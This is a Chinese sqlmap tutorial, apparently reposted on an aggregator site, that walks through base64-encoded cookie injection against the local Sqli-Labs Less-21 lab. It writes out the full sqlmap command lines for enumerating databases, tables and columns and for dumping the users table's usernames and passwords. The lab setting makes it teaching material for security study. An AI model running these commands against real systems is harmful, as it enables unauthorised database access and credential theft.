[网络安全]sqlmap加密注入教程+实战详析

这篇具有很好参考价值的文章主要介绍了[网络安全]sqlmap加密注入教程+实战详析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

为什么使用sqlmap加密注入

在使用手工注入绕过参数加密的限制时,需要构造出原始POC再进行加密注入,耗时耗力,因此采用sqlmap加密注入。

在开始本文前,sqlmap基础知识及姿势可参考:[网络安全]以留言板项目渗透实例带你入门sqlmap


加密注入语法

基本语法:

python sqlmap.py -u 目标URL --注入点="参数=xx"* --dbms 数据库 --threads=线程数 --batch --tamper=加密方式(base64encode等) 

* 表示只对该参数进行注入测试,不加 * 的话还会测试其他参数是否为注入点,增加时间

--dbms 数据库 ,使sqlmap明确要注入的数据库类型,不加的话会对所有的数据库进行测试(使用的前提:已知渗透网站的数据库类型)

--threads=线程数(1-10),规定线程,线程越高跑出来的时间越短,但可能会因访问繁忙而被waf拦截

--batch ,选择默认选项,跑sqlmap的时候加上这句话可节约时间、不需要回复提示

--tamper=加密方式,对注入的内容进行加密注入


可以进行加密注入的条件

在已知数据库加密类型的情况下,就可以使用sqlmap进行加密注入。

例如已知用户名及密码参数为base64加密,则可以用sqlmap进行base64加密注入,得到正确的数据。


实战

以Sqli-Labs Less-21为例

以正确的用户名、密码登录,抓包得到:

sqlmap注入实战,网络安全,# SQL注入攻击,# 渗透工具,web安全,安全,sqlmap,sql,网络安全,sql注入

可知注入点为cookie,参数为uname,且参数内容经base64解密后正好为输入的用户名,则可使用sqlmap进行base64加密注入

构造sqlmap语句:

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10 --batch --tamper=base64encode

sqlmap注入实战,网络安全,# SQL注入攻击,# 渗透工具,web安全,安全,sqlmap,sql,网络安全,sql注入
回显可用的注入方式及网站环境配件的版本:

sqlmap注入实战,网络安全,# SQL注入攻击,# 渗透工具,web安全,安全,sqlmap,sql,网络安全,sql注入
故sqlmap语句构造成功


爆数据库名

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10 --batch --tamper=base64encode --dbs

sqlmap注入实战,网络安全,# SQL注入攻击,# 渗透工具,web安全,安全,sqlmap,sql,网络安全,sql注入


爆security库的表名

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security --tables

sqlmap注入实战,网络安全,# SQL注入攻击,# 渗透工具,web安全,安全,sqlmap,sql,网络安全,sql注入
回显如下:

sqlmap注入实战,网络安全,# SQL注入攻击,# 渗透工具,web安全,安全,sqlmap,sql,网络安全,sql注入

得到四个表


爆users表的列名

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security -T users --columns

sqlmap注入实战,网络安全,# SQL注入攻击,# 渗透工具,web安全,安全,sqlmap,sql,网络安全,sql注入

回显如下:

sqlmap注入实战,网络安全,# SQL注入攻击,# 渗透工具,web安全,安全,sqlmap,sql,网络安全,sql注入
得到三个列


爆数据

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=admin"* --dbms MySQL --threads=10 --batch --tamper=base64encode -D security -T users -C id,username,password --dump

sqlmap注入实战,网络安全,# SQL注入攻击,# 渗透工具,web安全,安全,sqlmap,sql,网络安全,sql注入

回显如下:

sqlmap注入实战,网络安全,# SQL注入攻击,# 渗透工具,web安全,安全,sqlmap,sql,网络安全,sql注入


总结

以上为[网络安全] sqlmap加密注入教程+实战详析,读者可躬身实践。

我是秋说,我们下次见。文章来源地址https://www.toymoban.com/news/detail-733132.html

到了这里,关于[网络安全]sqlmap加密注入教程+实战详析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全】SQL注入详解

    SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。 1:寻找到SQL注入的位置 2:判断服务器类型和后台数据库类型 3:针对不同的服务器和数据库特点进行SQL注入攻击

    2024年02月06日
    浏览(45)
  • 网络安全---SQL注入攻击

            SQL 注入是一种代码注入技术,可利用 Web 应用程序和数据库服务器之间接口中的漏洞。当用户的输入在发送到后端数据库服务器之前未在 Web 应用程序中正确检查时,该漏洞就存在。         许多 Web 应用程序从用户处获取输入,然后使用这些输入构建 SQL 查询

    2024年04月12日
    浏览(38)
  • 【网络安全】初探SQL注入漏洞

    要想玩SQL注入,一个简单的数据交互页面是需要的,故我们用PHP做一个简易网页,有登录、注册和首页三块内容。 登录需要输入账号密码,等待提交后进入系统; 注册需要输入名字,密码,手机号,照片,等待提交后进入系统; 首页需要利用PHP和数据库联动后的查询语句,

    2024年02月16日
    浏览(32)
  • 网络安全必学SQL注入

    SQL注入漏洞可以说是在企业运营中会遇到的最具破坏性的漏洞之一,它也是目前被利用得最多的漏洞。要学会如何防御SQL注入,首先我们要学习它的原理。 针对SQL注入的攻击行为可描述为通过在用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻

    2024年02月03日
    浏览(49)
  • 「 网络安全术语解读 」悬空标记注入详解

    引言:什么是悬空标记注入(Dangling markup injection)、典型利用原理是什么,以及如何防止悬空标记攻击? 悬空标记注入(Dangling markup injection)是一种技术,当由于输入过滤或其他防御措施而无法进行完全的跨站脚本攻击时,它可以用于捕获跨域数据。它可以被用来捕获其他

    2024年01月17日
    浏览(37)
  • 网络安全-初学SQL注入&基本概念

    SQL语句:解释SQL(Structured Query Language)是一种用于与关系型数据库进行交互的语言。SQL语句用于执行各种数据库操作,例如插入、更新、删除和查询数据。 用户输入与SQL查询的拼接:说明应用程序通常会接受用户的输入,并将其用作构建SQL查询语句的一部分。这种拼接用户

    2024年02月13日
    浏览(29)
  • 「网络安全」SQL注入攻击的真相

    点击此处即可获得282G网络安全学习资料 我们生活在数据的黄金时代。有些公司将其分析为更好的自己,有些公司为了获利而进行交易,没有一家公司因其价值而自由放弃 - 对于他们的业务和犯罪分子。 SQL(结构化查询语言)是一种非常流行的与数据库通信的方式。虽然许多

    2024年02月07日
    浏览(38)
  • 网络安全之SQL注入及防御(下篇)

    目录 什么是SQL注入? 一,SQL注入会导致什么呢? 二,SQL注入思想与步骤 三,SQL注入的绕过 四,sqlmap工具的使用  五,sql注入的防御方法 总结 什么是SQL注入? SQL注入(SQL Injection)是一种常见的网络攻击手段,是因为应用程序对用户输入的数据验证不到位造成的。攻击者在

    2024年04月28日
    浏览(30)
  • 【网络安全】SQL注入漏洞的修复建议

    SQL注入是Web应用程序常见的安全漏洞之一,攻击者通过恶意构造的SQL查询语句,成功在应用程序的数据库中执行任意操作,导致数据泄露、篡改或其他安全问题。 本篇技术博客将详细介绍SQL注入漏洞的修复建议,包括过滤危险字符和使用预编译语句,通过具体的代码案例帮助

    2024年02月06日
    浏览(40)
  • SQL注入 ❤ ~~~ 网络空间安全及计算机领域常见英语单词及短语——网络安全(二)

    就比如登录页面,输入用户名admin和密码123456,网页告诉服务器我的用户名和密码,服务器就会去问数据库,有没有这个用户名admin并且密码为123456的用户,服务器收到数据库的回答就回去告诉网页,有这个用户就登录成功,没有就登录失败。SQL注入就是在网页告诉服务器我的

    2024年02月13日
    浏览(31)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包